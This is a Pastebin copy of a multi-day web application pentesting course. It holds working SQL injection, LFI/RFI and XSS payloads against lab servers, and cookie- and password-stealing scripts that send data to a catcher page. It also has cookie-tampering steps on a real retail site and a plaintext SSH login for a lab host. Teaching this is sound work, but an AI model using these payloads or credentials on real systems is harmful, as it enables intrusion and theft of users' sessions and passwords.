API tools faq
paste
joemccray

Advanced Web App Pentesting

joemccray
Jun 12th, 2019
3,480
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 188.87 KB | None | 0 0
raw download clone embed print report
  1. ################################
  2. ----------- ############### # Advanced Web App Pentesting ############### -----------
  3. ################################
  4.  
  5.  
  6.  
  7.  
  8. ##########################
  9. ----------- ############### # Day 1: Manual Testing ############### -----------
  10. ##########################
  11.  
  12.  
  13.  
  14. ##################################
  15. # Basic: Web Application Testing #
  16. ##################################
  17.  
  18. Most people are going to tell you reference the OWASP Testing guide.
  19. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  20.  
  21. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  22.  
  23.  
  24. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  25.  
  26. 1. Does the website talk to a DB?
  27. - Look for parameter passing (ex: site.com/page.php?id=4)
  28. - If yes - try SQL Injection
  29.  
  30. 2. Can I or someone else see what I type?
  31. - If yes - try XSS
  32.  
  33. 3. Does the page reference a file?
  34. - If yes - try LFI/RFI
  35.  
  36. Let's start with some manual testing against 45.63.104.73
  37.  
  38.  
  39. #######################
  40. # Attacking PHP/MySQL #
  41. #######################
  42.  
  43. Go to LAMP Target homepage
  44. http://45.63.104.73/
  45.  
  46.  
  47.  
  48. Clicking on the Acer Link:
  49. http://45.63.104.73/acre2.php?lap=acer
  50.  
  51. - Found parameter passing (answer yes to question 1)
  52. - Insert ' to test for SQLI
  53.  
  54. ---------------------------Type This-----------------------------------
  55.  
  56. http://45.63.104.73/acre2.php?lap=acer'
  57.  
  58. -----------------------------------------------------------------------
  59.  
  60. Page returns the following error:
  61. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
  62.  
  63.  
  64.  
  65. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  66. We do this using the ORDER BY
  67.  
  68. ---------------------------Type This-----------------------------------
  69.  
  70. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  71. -----------------------------------------------------------------------
  72.  
  73. Page returns the following error:
  74. Unknown column '100' in 'order clause'
  75.  
  76.  
  77. ---------------------------Type This-----------------------------------
  78.  
  79. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  80. -----------------------------------------------------------------------
  81.  
  82. Page returns the following error:
  83. Unknown column '50' in 'order clause'
  84.  
  85.  
  86. ---------------------------Type This-----------------------------------
  87.  
  88. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  89. -----------------------------------------------------------------------
  90.  
  91. Page returns the following error:
  92. Unknown column '25' in 'order clause'
  93.  
  94.  
  95. ---------------------------Type This-----------------------------------
  96.  
  97. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  98. -----------------------------------------------------------------------
  99.  
  100. Page returns the following error:
  101. Unknown column '12' in 'order clause'
  102.  
  103.  
  104. ---------------------------Type This-----------------------------------
  105.  
  106. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  107. -----------------------------------------------------------------------
  108.  
  109. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  110.  
  111.  
  112.  
  113. Now we build out the union all select statement with the correct number of columns
  114.  
  115. Reference:
  116. http://www.techonthenet.com/sql/union.php
  117.  
  118.  
  119. ---------------------------Type This-----------------------------------
  120.  
  121. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  122. -----------------------------------------------------------------------
  123.  
  124.  
  125.  
  126. Now we negate the parameter value 'acer' by turning into the word 'null':
  127. ---------------------------Type This-----------------------------------
  128.  
  129. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  130. -----------------------------------------------------------------------
  131.  
  132. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  133.  
  134.  
  135. Use a cheat sheet for syntax:
  136. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  137.  
  138. ---------------------------Type This-----------------------------------
  139.  
  140. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  141.  
  142. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  143.  
  144. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  145.  
  146. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  147.  
  148.  
  149. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  150.  
  151. -----------------------------------------------------------------------
  152.  
  153.  
  154.  
  155. ########################
  156. # Question I get a lot #
  157. ########################
  158. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  159.  
  160. Here is a good reference for it:
  161. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  162.  
  163. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  164.  
  165.  
  166.  
  167.  
  168. #########################
  169. # File Handling Attacks #
  170. #########################
  171.  
  172. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  173.  
  174. ---------------------------Type This-----------------------------------
  175.  
  176. http://45.63.104.73/showfile.php?filename=about.txt
  177.  
  178. -----------------------------------------------------------------------
  179.  
  180.  
  181. See if you can read files on the file system:
  182. ---------------------------Type This-----------------------------------
  183.  
  184. http://45.63.104.73/showfile.php?filename=/etc/passwd
  185. -----------------------------------------------------------------------
  186.  
  187. We call this attack a Local File Include or LFI.
  188.  
  189. Now let's find some text out on the internet somewhere:
  190. https://www.gnu.org/software/hello/manual/hello.txt
  191.  
  192.  
  193. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  194.  
  195. ---------------------------Type This-----------------------------------
  196.  
  197. http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
  198. -----------------------------------------------------------------------
  199.  
  200. #########################################################################################
  201. # SQL Injection #
  202. # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
  203. #########################################################################################
  204.  
  205.  
  206. - Another quick way to test for SQLI is to remove the paramter value
  207.  
  208.  
  209. #############################
  210. # Error-Based SQL Injection #
  211. #############################
  212. ---------------------------Type This-----------------------------------
  213.  
  214. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  215. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  216. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  217. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  218. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  219. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  220. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  221. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  222. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  223.  
  224. -----------------------------------------------------------------------
  225.  
  226.  
  227.  
  228. #############################
  229. # Union-Based SQL Injection #
  230. #############################
  231.  
  232. ---------------------------Type This-----------------------------------
  233.  
  234. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  235. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  236. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  237. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  238. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  239. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  240. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  241. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  242. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  243. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  244. -----------------------------------------------------------------------
  245.  
  246. We are using a union select statement because we are joining the developer's query with one of our own.
  247. Reference:
  248. http://www.techonthenet.com/sql/union.php
  249. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  250. It removes duplicate rows between the various SELECT statements.
  251.  
  252. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  253.  
  254. ---------------------------Type This-----------------------------------
  255.  
  256. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  257. -----------------------------------------------------------------------
  258.  
  259. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  260.  
  261. ---------------------------Type This-----------------------------------
  262.  
  263. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  264. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  265. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  266. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  267.  
  268. -----------------------------------------------------------------------
  269.  
  270.  
  271.  
  272.  
  273. - Another way is to see if you can get the backend to perform an arithmetic function
  274.  
  275. ---------------------------Type This-----------------------------------
  276.  
  277. http://45.77.162.239/bookdetail.aspx?id=(2)
  278. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  279. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  280.  
  281.  
  282.  
  283. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  284. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  285. http://45.77.162.239/bookdetail.aspx?id=1*1
  286. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  287. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  288. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  289. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  290. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  291.  
  292.  
  293.  
  294. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  295. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  296. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  297. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  298.  
  299. -----------------------------------------------------------------------
  300.  
  301.  
  302. ###############################
  303. # Blind SQL Injection Testing #
  304. ###############################
  305. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  306.  
  307. 3 - Total Characters
  308. ---------------------------Type This-----------------------------------
  309.  
  310. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  311. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  312. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  313. -----------------------------------------------------------------------
  314.  
  315. Let's go for a quick check to see if it's DBO
  316.  
  317. ---------------------------Type This-----------------------------------
  318.  
  319. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  320. -----------------------------------------------------------------------
  321.  
  322. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  323.  
  324. ---------------------------Type This-----------------------------------
  325.  
  326. D - 1st Character
  327. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  328. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  329. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  330. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  331.  
  332. B - 2nd Character
  333. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  334. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  335.  
  336. O - 3rd Character
  337. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  338. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  339. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  340. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  341. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  342. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  343. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  344.  
  345. -----------------------------------------------------------------------
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352.  
  353. ################################
  354. # Playing with session cookies #
  355. ################################
  356.  
  357. -----------------------------------------------------------------------
  358. Step 1: Browse to NewEgg.com
  359. -------------------------Paste this into Firefox-----------------------------------
  360. https://secure.newegg.com/
  361. ----------------------------------------------------------------------------------
  362.  
  363.  
  364. Step 2: Browse to the shopping cart page NewEgg.com
  365. -------------------------Paste this into Firefox-----------------------------------
  366. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  367. ----------------------------------------------------------------------------------
  368.  
  369.  
  370. Step 3: View the current session ID
  371. -------------------------Paste this into Firefox-----------------------------------
  372. javascript:void(document.write(document.cookie))
  373. ------------------------------------------------------------------------------------
  374.  
  375. Step 4: Go back to the shopping cart page (click the back button)
  376. ---------------------------------------------------------------------------------
  377. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  378. ---------------------------------------------------------------------------------
  379.  
  380.  
  381. Step 5: Now let's modify the session ID
  382. -------------------------Paste this into Firefox-----------------------------------
  383. javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
  384. ------------------------------------------------------------------------------------
  385.  
  386.  
  387.  
  388. Step 6: Go back to the shopping cart page (click the back button)
  389. ---------------------------------------------------------------------------------
  390. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  391. ---------------------------------------------------------------------------------
  392.  
  393.  
  394.  
  395. Step 7: View the current session ID
  396. -------------------------Paste this into Firefox-----------------------------------
  397. javascript:void(document.write(document.cookie))
  398. ------------------------------------------------------------------------------------
  399.  
  400. -----------------------------------------------------------------------
  401.  
  402. ###########################################
  403. # What is XSS #
  404. # http://45.63.104.73/2-Intro_To_XSS.pptx #
  405. ###########################################
  406.  
  407. OK - what is Cross Site Scripting (XSS)
  408.  
  409. 1. Use Firefox to browse to the following location:
  410. ---------------------------Type This-----------------------------------
  411.  
  412. http://45.63.104.73/xss_practice/
  413. -----------------------------------------------------------------------
  414.  
  415. A really simple search page that is vulnerable should come up.
  416.  
  417.  
  418.  
  419.  
  420. 2. In the search box type:
  421. ---------------------------Type This-----------------------------------
  422.  
  423. <script>alert('So this is XSS')</script>
  424. -----------------------------------------------------------------------
  425.  
  426.  
  427. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  428. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  429.  
  430.  
  431. 3. In the search box type:
  432. ---------------------------Type This-----------------------------------
  433.  
  434. <script>alert(document.cookie)</script>
  435. -----------------------------------------------------------------------
  436.  
  437.  
  438. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  439. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  440.  
  441. 4. Now replace that alert script with:
  442. ---------------------------Type This-----------------------------------
  443.  
  444. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  445. -----------------------------------------------------------------------
  446.  
  447.  
  448. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  449.  
  450.  
  451. 5. Now view the stolen cookie at:
  452. ---------------------------Type This-----------------------------------
  453.  
  454. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  455. -----------------------------------------------------------------------
  456.  
  457.  
  458. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  459.  
  460.  
  461.  
  462.  
  463.  
  464.  
  465. ############################
  466. # A Better Way To Demo XSS #
  467. ############################
  468.  
  469.  
  470. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  471.  
  472.  
  473. Use Firefox to browse to the following location:
  474. ---------------------------Type This-----------------------------------
  475.  
  476. http://45.63.104.73/xss_practice/
  477. -----------------------------------------------------------------------
  478.  
  479.  
  480.  
  481. Paste this in the search box
  482. ----------------------------
  483.  
  484.  
  485. ---------------------------Type This-----------------------------------
  486.  
  487. <script>
  488. password=prompt('Your session is expired. Please enter your password to continue',' ');
  489. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  490. </script>
  491. -----------------------------------------------------------------------
  492.  
  493.  
  494. Now view the stolen cookie at:
  495. ---------------------------Type This-----------------------------------
  496.  
  497. http://45.63.104.73/xss_practice/passwords.html
  498.  
  499. -----------------------------------------------------------------------
  500.  
  501.  
  502.  
  503.  
  504.  
  505. ############################################
  506. ----------- ############### # Day 2: Web Proxies & Bug Bounty Programs ############### -----------
  507. ############################################
  508.  
  509.  
  510. #########################
  511. # Setting up Burp Suite #
  512. #########################
  513. Download the latest free version of FoxyProxy at https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
  514.  
  515. Download the latest free version of Burp at https://portswigger.net/burp/freedownload
  516.  
  517. Be sure to download the appropriate version for your computer system/OS.
  518.  
  519. Download Burp Suite Community Edition v2.1.01 for Windows (64-bit), and double click on the exe to install, and desktop icon to run.
  520.  
  521. - Click the "Proxy" tab
  522. - Click the "Options" sub tab
  523. - Click “Edit” in the “Proxy Listeners” section
  524. - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
  525. - In the same pop up make sure that the bind port is 8080
  526. - In the same pop up select the “Certificate” tab
  527. - Ensure that burp is configured to "generate CA-signed per-host certificates"
  528.  
  529. Open Firefox
  530. - Click "Tools"
  531. - Click “Options"
  532. - Click the "General" tab
  533. - Click the "Network settings" sub tab
  534. - Click the connection "settings" button
  535. - Click "manual proxy configuration"
  536. set it to 127.0.0.1 port 8080
  537. check "Use this proxy server for all protocols"
  538. - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
  539.  
  540.  
  541. Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
  542.  
  543. Visit any SSL-protected URL.
  544.  
  545. On the “This Connection is Untrusted” screen, click on “Add Exception”
  546. Click "Get Certificate", then click "View".
  547.  
  548. In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
  549.  
  550. Click "Export" and save the certificate as "BurpCert" on the Desktop.
  551.  
  552. Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
  553.  
  554. Firefox
  555. - Click "Tools"
  556. - Click “Options"
  557. - Go to "Privacy & Security"
  558. - go to “Certificates” sub tab
  559. - Click “View Certificates”
  560.  
  561. Click "Import" and select the certificate file that you previously saved.
  562.  
  563. On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
  564.  
  565. Close all dialogs and restart Firefox
  566.  
  567.  
  568.  
  569.  
  570.  
  571. ###############################################################
  572. # Question 1: What is the process that you use when you test? #
  573. ###############################################################
  574.  
  575. Step 1: Automated Testing
  576.  
  577. Step 1a: Web Application vulnerability scanners
  578. -----------------------------------------------
  579. - Run two (2) unauthenticated vulnerability scans against the target
  580. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  581. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  582.  
  583. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  584.  
  585. A good web application vulnerability scanner comparison website is here:
  586. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  587.  
  588.  
  589. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  590.  
  591. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  592.  
  593.  
  594. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  595.  
  596.  
  597. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  598.  
  599.  
  600.  
  601. Step 1b: Directory Brute Forcer
  602. -------------------------------
  603. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  604.  
  605.  
  606.  
  607. Step 2: Manual Testing
  608.  
  609. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  610.  
  611. Step 2a: Spider/Scan the entire site with Burp Suite
  612. Save the spider and scan results. I usually provide this data to the customer as well.
  613.  
  614.  
  615. Step 2b: Browse through the site using the 3 question method
  616. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  617.  
  618. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  619.  
  620. Here is what I mean:
  621. http://www.site.com/page.aspx?parametername=parametervalue
  622.  
  623. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  624.  
  625. http://www.site.com/page.aspx?parametername=[ payload ]
  626.  
  627. You need to ensure that you send the payload this way, and like this below:
  628.  
  629. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  630.  
  631. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  632.  
  633.  
  634.  
  635.  
  636.  
  637.  
  638.  
  639. ###########################################
  640. # Question 2: How much fuzzing is enough? #
  641. ###########################################
  642. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  643.  
  644. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  645.  
  646.  
  647. Step 1: Ask yourself the 3 questions per page of the site.
  648.  
  649. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  650.  
  651. Step 3: When you load your fuzz strings - use the following decision tree
  652.  
  653. - Are the fuzz strings causing a default error message (example 404)?
  654. - If this is the case then it is most likely NOT vulnerable
  655.  
  656. - Are the fuzz strings causing a WAF or LB custom error message?
  657. - If this is the case then you need to find an encoding method to bypass
  658.  
  659.  
  660. - Are the fuzz strings causing an error message that discloses the backend type?
  661. - If yes, then identify DB type and find correct syntax to successfully exploit
  662. - Some example strings that I use are:
  663. '
  664. "
  665. () <----- Take the parameter value and put it in parenthesis
  666. (5-1) <----- See if you can perform an arithmetic function
  667.  
  668.  
  669. - Are the fuzz strings rendering executable code?
  670. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  671. - Some example strings that I use are:
  672. <b>hello</b>
  673. <u>hello</u>
  674. <script>alert(123);</script>
  675. <script>alert(xss);</script>
  676. <script>alert('xss');</script>
  677. <script>alert("xss");</script>
  678.  
  679.  
  680.  
  681. #######################
  682. # Bug Bounty Programs #
  683. #######################
  684. https://medium.com/bugbountywriteup/bug-bounty-hunting-methodology-toolkit-tips-tricks-blogs-ef6542301c65
  685.  
  686.  
  687. ############################
  688. # Bug Hunter's Methodology #
  689. ############################
  690. https://www.youtube.com/watch?v=C4ZHAdI8o1w
  691. https://www.youtube.com/watch?v=-FAjxUOKbdI
  692.  
  693.  
  694. #################################
  695. ----------- ############### # Day 3: WebApp Sec with Python ############### -----------
  696. #################################
  697.  
  698.  
  699. #########################
  700. # Connect to the server #
  701. #########################
  702.  
  703. Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
  704.  
  705. You can download Putty from here:
  706. http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  707.  
  708.  
  709. server ip: 107.191.39.106
  710. protocol: ssh
  711. port: 22
  712. username: hca
  713. password: PartFowl!@#4321
  714.  
  715.  
  716. ####################################
  717. # Python Lesson 1: Simple Printing #
  718. ####################################
  719.  
  720. ---------------------------Type This-----------------------------------
  721. $ python3
  722.  
  723. >>> print ("Today we are learning Python.")
  724.  
  725. >>> exit()
  726. -----------------------------------------------------------------------
  727.  
  728.  
  729.  
  730.  
  731. ############################################
  732. # Python Lesson 2: Simple Numbers and Math #
  733. ############################################
  734.  
  735. ---------------------------Type This-----------------------------------
  736. $ python3
  737.  
  738. >>> 2+2
  739.  
  740. >>> 6-3
  741.  
  742. >>> 18/7
  743.  
  744. >>> 18.0/7
  745.  
  746. >>> 18.0/7.0
  747.  
  748. >>> 18/7
  749.  
  750. >>> 9%4
  751. 1
  752. >>> 8%4
  753. 0
  754. >>> 8.75%.5
  755.  
  756. >>> 6.*7
  757.  
  758. >>> 6*6*6
  759.  
  760. >>> 6**3
  761.  
  762. >>> 5**12
  763.  
  764. >>> -5**4
  765.  
  766. >>> exit()
  767.  
  768. -----------------------------------------------------------------------
  769.  
  770.  
  771.  
  772. ##############################
  773. # Python Lesson 3: Variables #
  774. ##############################
  775.  
  776. ---------------------------Type This-----------------------------------
  777. $ python3
  778.  
  779. >>> x=18
  780.  
  781. >>> x+15
  782.  
  783. >>> x**3
  784.  
  785. >>> y=54
  786.  
  787. >>> g=int(input("Enter number here: "))
  788. Enter number here: 43
  789. >>> g
  790.  
  791. >>> g+32
  792.  
  793. >>> g**3
  794.  
  795. >>> exit()
  796.  
  797. -----------------------------------------------------------------------
  798.  
  799.  
  800.  
  801.  
  802.  
  803. ##########################################
  804. # Python Lesson 4: Modules and Functions #
  805. ##########################################
  806.  
  807. ---------------------------Type This-----------------------------------
  808. $ python3
  809.  
  810. >>> 5**4
  811.  
  812. >>> pow(5,4)
  813.  
  814. >>> abs(-18)
  815.  
  816. >>> abs(5)
  817.  
  818. >>> floor(18.7)
  819.  
  820. >>> import math
  821.  
  822. >>> math.floor(18.7)
  823.  
  824. >>> math.sqrt(81)
  825.  
  826. >>> joe = math.sqrt
  827.  
  828. >>> joe(9)
  829.  
  830. >>> joe=math.floor
  831.  
  832. >>> joe(19.8)
  833.  
  834. >>> exit()
  835.  
  836. -----------------------------------------------------------------------
  837.  
  838.  
  839.  
  840. ############################
  841. # Python Lesson 5: Strings #
  842. ############################
  843.  
  844. ---------------------------Type This-----------------------------------
  845. $ python3
  846.  
  847. >>> "XSS"
  848.  
  849. >>> 'SQLi'
  850.  
  851. >>> "Joe's a python lover"
  852.  
  853. >>> "Joe said \"InfoSec is fun\" to me"
  854.  
  855. >>> a = "Joe"
  856.  
  857. >>> b = "McCray"
  858.  
  859. >>> a, b
  860.  
  861. >>> a+b
  862.  
  863. >>> exit()
  864. -----------------------------------------------------------------------
  865.  
  866.  
  867.  
  868.  
  869.  
  870. #################################
  871. # Python Lesson 6: More Strings #
  872. #################################
  873.  
  874. ---------------------------Type This-----------------------------------
  875. $ python3
  876.  
  877. >>> num = 10
  878.  
  879. >>> num + 2
  880.  
  881. >>> "The number of open ports found on this system is ", num
  882.  
  883. >>> num = str(18)
  884.  
  885. >>> "There are ", num, " vulnerabilities found in this environment."
  886.  
  887. >>> num2 = 46
  888.  
  889. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
  890.  
  891. >>> exit()
  892. -----------------------------------------------------------------------
  893.  
  894.  
  895.  
  896.  
  897.  
  898. ########################################
  899. # Python Lesson 7: Sequences and Lists #
  900. ########################################
  901.  
  902. ---------------------------Type This-----------------------------------
  903. $ python3
  904.  
  905. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  906.  
  907. >>> attacks
  908. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  909.  
